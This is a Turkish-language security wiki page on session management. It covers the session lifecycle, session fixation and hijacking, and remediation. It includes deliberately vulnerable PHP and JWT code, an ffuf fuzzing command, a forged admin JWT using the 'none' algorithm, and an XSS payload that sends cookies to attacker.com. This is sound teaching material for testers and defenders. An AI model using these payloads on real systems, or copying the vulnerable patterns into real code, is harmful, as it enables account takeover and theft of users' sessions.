AltaySec Wiki Session Management   ·   AltaySec Araştırmalar

Session Management

root@altaysec:~# whoami
> Yazar: Yaren Daşpınar

Oturum Yönetimi (Session Management), HTTP protokolünün doğasından gelen "stateless" (durum bilgisiz) yapısını aşmak ve kullanıcıları uygulama içindeki hareketleri boyunca takip etmek için kullanılan kritik bir güvenlik mekanizmasıdır. Red Team operasyonlarında bu mekanizmanın zayıflıkları; kimlik doğrulama (Authentication) ve yetkilendirme (Authorization) süreçlerini tamamen baypas ederek doğrudan Account Takeover (ATO) saldırılarına kapı açar. Modern mimarilerde oturum yönetimi sadece çerezlerden ibaret olmayıp, merkeziyetsiz yapılar için JWT (JSON Web Tokens) ve OIDC gibi karmaşık protokolleri de kapsamaktadır.

How It Works (Teknik Analiz)

HTTP protokolü (RFC 2616), her istek-yanıt çiftini birbirinden bağımsız kabul eder. Bu durumun üstesinden gelmek için uygulama, kullanıcıya özel bir "Oturum Kimliği" (Session ID/Token) atar. Bu kimlik, sunucu tarafındaki kullanıcı verilerine ve yetki seviyelerine erişmek için kullanılan geçici bir anahtar işlevi görür.

Session Management Lifecycle (Yaşam Döngüsü)

  1. Session Creation (Oturum Oluşturma): Kullanıcı kimlik bilgilerini sunduğunda veya bazı durumlarda uygulamayı ilk ziyaret ettiğinde (anonim takip için) bir oturum değeri üretilir.
  2. Session Tracking (Oturum Takibi): İstemci, her isteğinde bu değeri (çerez veya header olarak) sunucuya iletir. Sunucu, bu değerle eşleşen "server-side lookup" yaparak kullanıcı yetkilerini doğrular.
  3. Session Expiry (Oturum Sona Erme): Oturumun önceden tanımlanmış bir ömrü (lifetime) vardır. Bu süre dolduğunda oturum geçersiz kılınır.
  4. Session Termination (Oturum Sonlandırma): Kullanıcının "logout" yapmasıyla oturumun sunucu tarafında aktif olarak imha edilmesidir.

Vulnerable Code Patterns

Oturum yönetimindeki zayıflıklar genellikle oturum kimliğinin tahmin edilebilir olması veya güvenli olmayan yöntemlerle taşınmasından kaynaklanır.

// ZAFİYETLİ KOD (PHP - Permissive Session Management)
// Kullanıcıdan gelen PHPSESSID değerini sorgusuz kabul etmek
if (isset($_GET['session_id'])) {
    session_id($_GET['session_id']); // Session Fixation'a kapı açar
}
session_start();
// ZAFİYETLİ KOD (Node.js/JWT - Signature Validation Bypass)
const jwt = require('jsonwebtoken');
// Token imzası kontrol edilmeden doğrudan decode ediliyor
const decoded = jwt.decode(token); 
const userId = decoded.user_id;
// HATA: Saldırgan 'none' algoritmasıyla kendi tokenını üretebilir.

Detection & Enumeration (Keşif ve Analiz)

Sızma testi uzmanları, oturum mekanizmasını analiz ederken hem istemci taraflı (browser) hem de sunucu taraflı davranışları incelemelidir.

Manuel Test Metodolojileri

Fuzzing ve Enumeration

Oturum anahtarlarının entropisini ölçmek için Burp Suite Sequencer kullanılır. Zayıf rastgelelik (low entropy), anahtarın brute-force ile bulunabileceğini gösterir.

# Oturum anahtarını URL'den sızdıran uygulamaları tespit etmek için
ffuf -u 'http://target.com/index.php?session=FUZZ' -w /opt/SecLists/Usernames/Names/names.txt -mr "Welcome"

Attack Vectors & Exploitation (İstismar Vektörleri)

Session Hijacking (Sidejacking)

Aktif bir oturum kimliğinin (çerezin) çalınmasıdır. Genellikle XSS saldırılarıyla document.cookie üzerinden veya şifrelenmemiş HTTP trafiği üzerinden (MITM) gerçekleştirilir.

Session Fixation

Saldırganın, kurbanın tarayıcısına önceden belirlediği bir oturum ID'sini enjekte etmesi ve kurbanın bu ID ile giriş yapmasını beklemesidir. Kurban giriş yaptığında, saldırgan aynı ID ile kurbanın hesabına erişir.

Cookie-Based vs Token-Based Attacks

Insecure Session Transmission

Oturum anahtarlarının HTTP üzerinden gönderilmesi veya yönlendirmeler (Redirect) sırasında URL parametresi olarak sızdırılmasıdır.

Payloads & Advanced Commands

Cookie Theft via XSS (Payload)

HttpOnly bayrağı olmayan çerezleri çalmak için kullanılan klasik bir payload:

<script>
fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie));
</script>

Session Brute Force Estimation

Eğer bir uygulama 64 bit entropiye sahip bir ID oluşturuyorsa, 100.000 aktif eşzamanlı oturum varken saniyede 10.000 deneme ile geçerli bir ID bulmak yaklaşık 585 yıl sürer. Ancak bu değer 32 bit veya altına düştüğünde saldırı pratik hale gelir.

JWT Algorithm 'None' Attack

Eğer sunucu imzayı doğrulamıyorsa:

# Header: {"alg": "none", "typ": "JWT"}
# Payload: {"user": "admin"}
# Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

Bypass & Obfuscation (Atlatma Teknikleri)

WAF Bypass via Cookie Splitting

Bazı WAF sistemlerini atlatmak için çerez değerlerini bölerek göndermek: Cookie: session_part1=123; session_part2=456;

Client-Side Check Bypassing

Oturum sonlandırma (timeout) sadece istemci taraflı JavaScript ile kontrol ediliyorsa, tarayıcıda JS engellenerek veya console üzerinden zamanlayıcılar manipüle edilerek oturum süresiz açık tutulabilir.

Remediation & Prevention (Önleme ve Savunma)

  1. Strict Flag Usage: Tüm session çerezleri HttpOnly, Secure ve SameSite=Strict/Lax bayraklarına sahip olmalıdır.
  2. Session Regeneration: Başarılı bir login sonrasında oturum ID'si KESİNLİKLE yenilenmelidir.
  3. High Entropy: Oturum anahtarları en az 128 bit uzunluğunda ve CSPRNG (Cryptographically Secure Pseudorandom Number Generator) ile üretilmelidir.
  4. Server-Side Termination: Logout işlemi çerezi sadece tarayıcıdan silmemeli, sunucu tarafındaki oturum nesnesini (session object) imha etmelidir.
  5. Timeout Policy: Kritik uygulamalar (Bankacılık) için 2-5 dakika, düşük riskli uygulamalar için 15-30 dakika "Idle Timeout" uygulanmalıdır.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Burp Sequencer Oturum ID rastgeleliğini (entropy) test eder Send to Sequencer
EditThisCookie Tarayıcıdaki çerezleri manipüle eder Manually edit session flag
JWT.io JWT tokenlarını decode/encode eder Paste token for analysis
ffuf Oturum parametresi fuzzing ffuf -u URL?session=FUZZ -w ids.txt
ModSecurity WAF üzerinden çerez bayraklarını zorlar SecRule ResponseHeaders "Set-Cookie" "HttpOnly;Secure"

Yazar: Yaren Daşpınar · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv